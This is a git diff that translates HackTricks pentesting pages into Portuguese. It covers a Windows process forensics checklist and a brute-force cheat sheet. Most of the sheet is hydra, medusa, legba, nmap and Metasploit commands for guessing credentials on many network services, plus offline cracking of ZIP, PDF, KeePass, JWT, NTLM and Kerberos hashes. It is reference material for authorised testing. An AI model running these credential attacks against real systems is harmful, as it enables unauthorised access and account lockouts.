+É o processo pai de **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** e muitos mais.
 
-Services are defined in `HKLM\SYSTEM\CurrentControlSet\Services` and this process maintains a DB in memory of service info that can be queried by sc.exe.
+Os serviços são definidos em `HKLM\SYSTEM\CurrentControlSet\Services` e este processo mantém um banco de dados na memória de informações de serviços que podem ser consultadas por sc.exe.
 
-Note how **some** **services** are going to be running in a **process of their own** and others are going to be **sharing a svchost.exe process**.
+Note como **alguns** **serviços** estarão rodando em um **processo próprio** e outros estarão **compartilhando um processo svchost.exe**.
 
-There should only be 1 process.
+Deve haver apenas 1 processo.
 
 ## lsass.exe
 
-**Local Security Authority Subsystem**.\
-It's responsible for the user **authentication** and create the **security** **tokens**. It uses authentication packages located in `HKLM\System\CurrentControlSet\Control\Lsa`.
+**Subsistema de Autoridade de Segurança Local**.\
+É responsável pela **autenticação** do usuário e pela criação dos **tokens de segurança**. Utiliza pacotes de autenticação localizados em `HKLM\System\CurrentControlSet\Control\Lsa`.
 
-It writes to the **Security** **event** **log** and there should only be 1 process.
+Escreve no **log de eventos de Segurança** e deve haver apenas 1 processo.
 
-Keep in mind that this process is highly attacked to dump passwords.
+Tenha em mente que este processo é altamente atacado para despejar senhas.
 
 ## svchost.exe
 
-**Generic Service Host Process**.\
-It hosts multiple DLL services in one shared process.
+**Processo Genérico de Hospedagem de Serviços**.\
+Hospeda múltiplos serviços DLL em um único processo compartilhado.
 
-Usually, you will find that **svchost.exe** is launched with the `-k` flag. This will launch a query to the registry **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** where there will be a key with the argument mentioned in -k that will contain the services to launch in the same process.
+Normalmente, você encontrará que **svchost.exe** é iniciado com a flag `-k`. Isso lançará uma consulta ao registro **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** onde haverá uma chave com o argumento mencionado em -k que conterá os serviços a serem lançados no mesmo processo.
 
-For example: `-k UnistackSvcGroup` will launch: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc`
+Por exemplo: `-k UnistackSvcGroup` lançará: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc`
 
-If the **flag `-s`** is also used with an argument, then svchost is asked to **only launch the specified service** in this argument.
+Se a **flag `-s`** também for usada com um argumento, então svchost é solicitado a **lançar apenas o serviço especificado** neste argumento.
 
-There will be several processes of `svchost.exe`. If any of them is **not using the `-k` flag**, then that's very suspicious. If you find that **services.exe is not the parent**, that's also very suspicious.
+Haverá vários processos de `svchost.exe`. Se algum deles **não estiver usando a flag `-k`**, então isso é muito suspeito. Se você descobrir que **services.exe não é o pai**, isso também é muito suspeito.
 
 ## taskhost.exe
 
-This process act as a host for processes running from DLLs. It also loads the services that are running from DLLs.
+Este processo atua como um host para processos executando a partir de DLLs. Também carrega os serviços que estão sendo executados a partir de DLLs.
 
-In W8 this is called taskhostex.exe and in W10 taskhostw.exe.
+No W8 isso é chamado de taskhostex.exe e no W10 taskhostw.exe.
 
 ## explorer.exe
 
-This is the process responsible for the **user's desktop** and launching files via file extensions.
+Este é o processo responsável pelo **desktop do usuário** e pela execução de arquivos via extensões de arquivo.
 
-**Only 1** process should be spawned **per logged on user.**
+**Apenas 1** processo deve ser gerado **por usuário logado.**
 
-This is run from **userinit.exe** which should be terminated, so **no parent** should appear for this process.
+Isso é executado a partir de **userinit.exe** que deve ser encerrado, então **nenhum pai** deve aparecer para este processo.
 
-# Catching Malicious Processes
+# Capturando Processos Maliciosos
 
-- Is it running from the expected path? (No Windows binaries run from temp location)
-- Is it communicating with weird IPs?
-- Check digital signatures (Microsoft artifacts should be signed)
-- Is it spelled correctly?
-- Is running under the expected SID?
-- Is the parent process the expected one (if any)?
-- Are the children processes the expecting ones? (no cmd.exe, wscript.exe, powershell.exe..?)
+- Está rodando a partir do caminho esperado? (Nenhum binário do Windows roda de local temporário)
+- Está se comunicando com IPs estranhos?
+- Verifique assinaturas digitais (artefatos da Microsoft devem ser assinados)
+- Está escrito corretamente?
+- Está rodando sob o SID esperado?
+- O processo pai é o esperado (se houver)?
+- Os processos filhos são os esperados? (sem cmd.exe, wscript.exe, powershell.exe..?)
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md
index 9b2faa122..010b28e18 100644
--- a/src/generic-hacking/brute-force.md
+++ b/src/generic-hacking/brute-force.md
@@ -1,18 +1,10 @@
-# Brute Force - CheatSheet
-
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
+# Força Bruta - CheatSheet
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Default Credentials
+## Credenciais Padrão
 
-**Search in google** for default credentials of the technology that is being used, or **try these links**:
+**Pesquise no google** por credenciais padrão da tecnologia que está sendo utilizada, ou **tente estes links**:
 
 - [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
 - [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
@@ -27,12 +19,11 @@ Get Access Today:
 - [**https://many-passwords.github.io/**](https://many-passwords.github.io)
 - [**https://theinfocentric.com/**](https://theinfocentric.com/)
 
-## **Create your own Dictionaries**
+## **Crie seus próprios Dicionários**
 
-Find as much information about the target as you can and generate a custom dictionary. Tools that may help:
+Encontre o máximo de informações sobre o alvo que puder e gere um dicionário personalizado. Ferramentas que podem ajudar:
 
 ### Crunch
-
 ```bash
 crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
 crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@@ -43,36 +34,30 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
 ^ Special characters including spac
 crunch 6 8 -t ,@@^^%%
 ```
-
 ### Cewl
-
 ```bash
 cewl example.com -m 5 -w words.txt
 ```
-
 ### [CUPP](https://github.com/Mebus/cupp)
 
-Generate passwords based on your knowledge of the victim (names, dates...)
-
+Gere senhas com base no seu conhecimento da vítima (nomes, datas...)
 ```
 python3 cupp.py -h
 ```
-
 ### [Wister](https://github.com/cycurity/wister)
 
-A wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal wordlist to use regarding a specific target.
-
+Uma ferramenta geradora de listas de palavras, que permite que você forneça um conjunto de palavras, dando a você a possibilidade de criar múltiplas variações a partir das palavras fornecidas, criando uma lista de palavras única e ideal para usar em relação a um alvo específico.
 ```bash
 python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
 
- __          _______  _____ _______ ______ _____
- \ \        / /_   _|/ ____|__   __|  ____|  __ \
-  \ \  /\  / /  | | | (___    | |  | |__  | |__) |
-   \ \/  \/ /   | |  \___ \   | |  |  __| |  _  /
-    \  /\  /   _| |_ ____) |  | |  | |____| | \ \
-     \/  \/   |_____|_____/   |_|  |______|_|  \_\
+__          _______  _____ _______ ______ _____
+\ \        / /_   _|/ ____|__   __|  ____|  __ \
+\ \  /\  / /  | | | (___    | |  | |__  | |__) |
+\ \/  \/ /   | |  \___ \   | |  |  __| |  _  /
+\  /\  /   _| |_ ____) |  | |  | |____| | \ \
+\/  \/   |_____|_____/   |_|  |______|_|  \_\
 
-      Version 1.0.3                    Cycurity
+Version 1.0.3                    Cycurity
 
 Generating wordlist...
 [########################################] 100%
@@ -80,10 +65,9 @@ Generated 67885 lines.
 
 Finished in 0.920s.
 ```
-
 ### [pydictor](https://github.com/LandGrey/pydictor)
 
-### Wordlists
+### Listas de Palavras
 
 - [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
 - [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
@@ -96,20 +80,11 @@ Finished in 0.920s.
 - [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
 - [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
 
-

+## Serviços
 
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
-
-## Services
-
-Ordered alphabetically by service name.
+Ordenados alfabeticamente pelo nome do serviço.
 
 ### AFP
-
 ```bash
 nmap -p 548 --script afp-brute 
 msf> use auxiliary/scanner/afp/afp_login
@@ -119,114 +94,84 @@ msf> set PASS_FILE 
 msf> set USER_FILE 
 msf> run
 ```
-
 ### AJP
-
 ```bash
 nmap --script ajp-brute -p 8009 
 ```
-
-## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
-
+## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM e Solace)
 ```bash
 legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
 ```
-
 ### Cassandra
-
 ```bash
 nmap --script cassandra-brute -p 9160 
 # legba ScyllaDB / Apache Casandra
 legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
 ```
-
 ### CouchDB
-
 ```bash
 msf> use auxiliary/scanner/couchdb/couchdb_login
 hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
 ```
-
-### Docker Registry
-
+### Registro do Docker
 ```
 hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
 ```
-
 ### Elasticsearch
-
 ```
 hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
 ```
-
 ### FTP
-
 ```bash
 hydra -l root -P passwords.txt [-t 32]  ftp
 ncrack -p 21 --user root -P passwords.txt  [-T 5]
 medusa -u root -P 500-worst-passwords.txt -h  -M ftp
 legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
 ```
-
-### HTTP Generic Brute
+### HTTP Genérico Brute
 
 #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
 
-### HTTP Basic Auth
-
+### HTTP Autenticação Básica
 ```bash
 hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
 # Use https-get mode for https
 medusa -h  -u  -P   -M  http -m DIR:/path/to/auth -T 10
 legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
 ```
-
 ### HTTP - NTLM
-
 ```bash
 legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
 legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
 ```
-
-### HTTP - Post Form
-
+### HTTP - Formulário Post
 ```bash
 hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
 # Use https-post-form mode for https
 ```
+Para http**s** você deve mudar de "http-post-form" para "**https-post-form"**
 
-For http**s** you have to change from "http-post-form" to "**https-post-form"**
-
-### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle
-
+### **HTTP - CMS --** (W)ordpress, (J)oomla ou (D)rupal ou (M)oodle
 ```bash
 cmsmap -f W/J/D/M -u a -p a https://wordpress.com
 # Check also https://github.com/evilsocket/legba/wiki/HTTP
 ```
-
 ### IMAP
-
 ```bash
 hydra -l USERNAME -P /path/to/passwords.txt -f  imap -V
 hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f  imap -V
 nmap -sV --script imap-brute -p  
 legba imap --username user --password data/passwords.txt --target localhost:993
 ```
-
 ### IRC
-
 ```bash
 nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p  
 ```
-
 ### ISCSI
-
 ```bash
 nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 
 ```
-
 ### JWT
-
 ```bash
 #hashcat
 hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
@@ -249,33 +194,25 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w
 #https://github.com/lmammino/jwt-cracker
 jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
 ```
-
 ### LDAP
-
 ```bash
 nmap --script ldap-brute -p 389 
 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
 ```
-
 ### MQTT
-
 ```
 ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
 legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
 ```
-
 ### Mongo
-
 ```bash
 nmap -sV --script mongodb-brute -n -p 27017 
 use auxiliary/scanner/mongodb/mongodb_login
 legba mongodb --target localhost:27017 --username root --password data/passwords.txt
 ```
-
 ### MSSQL
 
 [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
-
 ```shell
 # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
 mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
@@ -296,9 +233,7 @@ mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
 ```bash
 legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
 ```
-
 ### MySQL
-
 ```bash
 # hydra
 hydra -L usernames.txt -P pass.txt  mysql
@@ -312,9 +247,7 @@ medusa -h  -u  -P  <-f | to stop medusa on fir
 #Legba
 legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
 ```
-
 ### OracleSQL
-
 ```bash
 patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
 
@@ -338,21 +271,15 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= 
 
 legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
 ```
-
-In order to use **oracle_login** with **patator** you need to **install**:
-
+Para usar **oracle_login** com **patator** você precisa **instalar**:
 ```bash
 pip3 install cx_Oracle --upgrade
 ```
-
-[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**):
-
+[Bruteforce de hash OracleSQL offline](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versões 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** e **11.2.0.3**):
 ```bash
- nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
+nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
 ```
-
 ### POP
-
 ```bash
 hydra -l USERNAME -P /path/to/passwords.txt -f  pop3 -V
 hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f  pop3 -V
@@ -363,9 +290,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
 # SSL
 legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
 ```
-
 ### PostgreSQL
-
 ```bash
 hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt  postgres
 medusa -h  –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
@@ -375,109 +300,79 @@ use auxiliary/scanner/postgres/postgres_login
 nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 
 legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
 ```
-
 ### PPTP
 
-You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
-
+Você pode baixar o pacote `.deb` para instalar em [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
 ```bash
 sudo dpkg -i thc-pptp-bruter*.deb #Install the package
 cat rockyou.txt | thc-pptp-bruter –u  
 ```
-
 ### RDP
-
 ```bash
 ncrack -vv --user  -P pwds.txt rdp://
 hydra -V -f -L  -P  rdp://
 legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
 ```
-
 ### Redis
-
 ```bash
 msf> use auxiliary/scanner/redis/redis_login
 nmap --script redis-brute -p 6379 
 hydra –P /path/pass.txt redis://: # 6379 is the default
 legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
 ```
-
 ### Rexec
-
 ```bash
 hydra -l  -P  rexec:// -v -V
 ```
-
 ### Rlogin
-
 ```bash
 hydra -l  -P  rlogin:// -v -V
 ```
-
 ### Rsh
-
 ```bash
 hydra -L  rsh:// -v -V
 ```
-
-[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
-
 ### Rsync
-
 ```bash
 nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 
 ```
-
 ### RTSP
-
 ```bash
 hydra -l root -P passwords.txt  rtsp
 ```
-
 ### SFTP
-
 ```bash
 legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
 # Try keys from a folder
 legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
 ```
-
 ### SNMP
-
 ```bash
 msf> use auxiliary/scanner/snmp/snmp_login
 nmap -sU --script snmp-brute  [--script-args snmp-brute.communitiesdb= ]
 onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt 
 hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
 ```
-
 ### SMB
-
 ```bash
 nmap --script smb-brute -p 445 
 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ]
 ```
-
 ### SMTP
-
 ```bash
 hydra -l  -P /path/to/passwords.txt  smtp -V
 hydra -l  -P /path/to/passwords.txt -s 587  -S -v -V #Port 587 for SMTP with SSL
 legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ]
 ```
-
 ### SOCKS
-
 ```bash
 nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 
 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
 # With alternative address
 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
 ```
-
 ### SQL Server
-
 ```bash
 #Use the NetBIOS name of the machine as domain
 crackmapexec mssql  -d  -u usernames.txt -p passwords.txt
@@ -486,9 +381,7 @@ medusa -h  –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq
 nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts  #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
 msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
 ```
-
 ### SSH
-
 ```bash
 hydra -l root -P passwords.txt [-t 32]  ssh
 ncrack -p 22 --user root -P passwords.txt  [-T 5]
@@ -498,38 +391,32 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost
 # Try keys from a folder
 legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
 ```
+#### Chaves SSH fracas / PRNG previsível do Debian
 
-#### Weak SSH keys / Debian predictable PRNG
+Alguns sistemas têm falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chave drasticamente reduzido que pode ser atacado por força bruta com ferramentas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Conjuntos pré-gerados de chaves fracas também estão disponíveis, como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
 
-Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
-
-### STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ)
-
-The STOMP text protocol is a widely used messaging protocol that **allows seamless communication and interaction with popular message queueing services** such as RabbitMQ, ActiveMQ, HornetQ, and OpenMQ. It provides a standardized and efficient approach to exchange messages and perform various messaging operations.
+### STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ)
 
+O protocolo de texto STOMP é um protocolo de mensagens amplamente utilizado que **permite comunicação e interação contínuas com serviços populares de enfileiramento de mensagens** como RabbitMQ, ActiveMQ, HornetQ e OpenMQ. Ele fornece uma abordagem padronizada e eficiente para trocar mensagens e realizar várias operações de mensagens.
 ```bash
 legba stomp --target localhost:61613 --username admin --password data/passwords.txt
 ```
-
 ### Telnet
-
 ```bash
 hydra -l root -P passwords.txt [-t 32]  telnet
 ncrack -p 23 --user root -P passwords.txt  [-T 5]
 medusa -u root -P 500-worst-passwords.txt -h  -M telnet
 
 legba telnet \
-    --username admin \
-    --password wordlists/passwords.txt \
-    --target localhost:23 \
-    --telnet-user-prompt "login: " \
-    --telnet-pass-prompt "Password: " \
-    --telnet-prompt ":~$ " \
-    --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
+--username admin \
+--password wordlists/passwords.txt \
+--target localhost:23 \
+--telnet-user-prompt "login: " \
+--telnet-pass-prompt "Password: " \
+--telnet-prompt ":~$ " \
+--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
 ```
-
 ### VNC
-
 ```bash
 hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s   vnc
 medusa -h  –u root -P /root/Desktop/pass.txt –M vnc
@@ -544,41 +431,29 @@ use auxiliary/scanner/vnc/vnc_login
 set RHOSTS 
 set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
 ```
-
 ### Winrm
-
 ```bash
 crackmapexec winrm  -d  -u usernames.txt -p passwords.txt
 ```
-
-

-
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
-
 ## Local
 
-### Online cracking databases
+### Bancos de dados de cracking online
 
 - [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
-- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge's value)
-- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...)
+- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 com/sem ESS/SSP e com qualquer valor de desafio)
+- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, capturas WPA2 e arquivos MSOffice, ZIP, PDF...)
 - [https://crackstation.net/](https://crackstation.net) (Hashes)
 - [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
-- [https://gpuhash.me/](https://gpuhash.me) (Hashes and file hashes)
+- [https://gpuhash.me/](https://gpuhash.me) (Hashes e hashes de arquivos)
 - [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes)
 - [https://www.cmd5.org/](https://www.cmd5.org) (Hashes)
 - [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
 - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
 - [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
 
-Check this out before trying to brute force a Hash.
+Verifique isso antes de tentar forçar um Hash. 
 
 ### ZIP
-
 ```bash
 #sudo apt-get install fcrackzip
 fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
@@ -594,12 +469,10 @@ john zip.john
 hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
 .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
 ```
+#### Ataque de zip com texto conhecido
 
-#### Known plaintext zip attack
-
-You need to know the **plaintext** (or part of the plaintext) **of a file contained inside** the encrypted zip. You can check **filenames and size of files contained inside** an encrypted zip running: **`7z l encrypted.zip`**\
-Download [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)from the releases page.
-
+Você precisa conhecer o **texto claro** (ou parte do texto claro) **de um arquivo contido dentro** do zip criptografado. Você pode verificar **nomes de arquivos e tamanhos dos arquivos contidos dentro** de um zip criptografado executando: **`7z l encrypted.zip`**\
+Baixe [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) da página de lançamentos.
 ```bash
 # You need to create a zip file containing only the file that is inside the encrypted zip
 zip plaintext.zip plaintext.file
@@ -611,9 +484,7 @@ zip plaintext.zip plaintext.file
 ./bkcrack -C  -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
 unzip unlocked.zip #User new_pwd as password
 ```
-
 ### 7z
-
 ```bash
 cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
 ```
@@ -624,9 +495,7 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo
 apt-get install libcompress-raw-lzma-perl
 ./7z2john.pl file.7z > 7zhash.john
 ```
-
 ### PDF
-
 ```bash
 apt-get install pdfcrack
 pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
@@ -635,13 +504,11 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
 sudo apt-get install qpdf
 qpdf --password= --decrypt encrypted.pdf plaintext.pdf
 ```
+### Senha do Proprietário do PDF
 
-### PDF Owner Password
-
-To crack a PDF Owner password check this: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
+Para quebrar a senha do proprietário de um PDF, verifique isso: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
 
 ### JWT
-
 ```bash
 git clone https://github.com/Sjord/jwtcrack.git
 cd jwtcrack
@@ -653,17 +520,13 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h
 python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
 john jwt.john #It does not work with Kali-John
 ```
-
-### NTLM cracking
-
+### Quebra de NTLM
 ```bash
 Format:USUARIO:ID:HASH_LM:HASH_NT:::
 john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
 hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
 ```
-
 ### Keepass
-
 ```bash
 sudo apt-get install -y kpcli #Install keepass tools like keepass2john
 keepass2john file.kdbx > hash #The keepass is only using password
@@ -671,30 +534,24 @@ keepass2john -k  file.kdbx > hash # The keepass is also using a f
 #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
 john --wordlist=/usr/share/wordlists/rockyou.txt hash
 ```
-
 ### Keberoasting
-
 ```bash
 john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
 hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
 ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
 ```
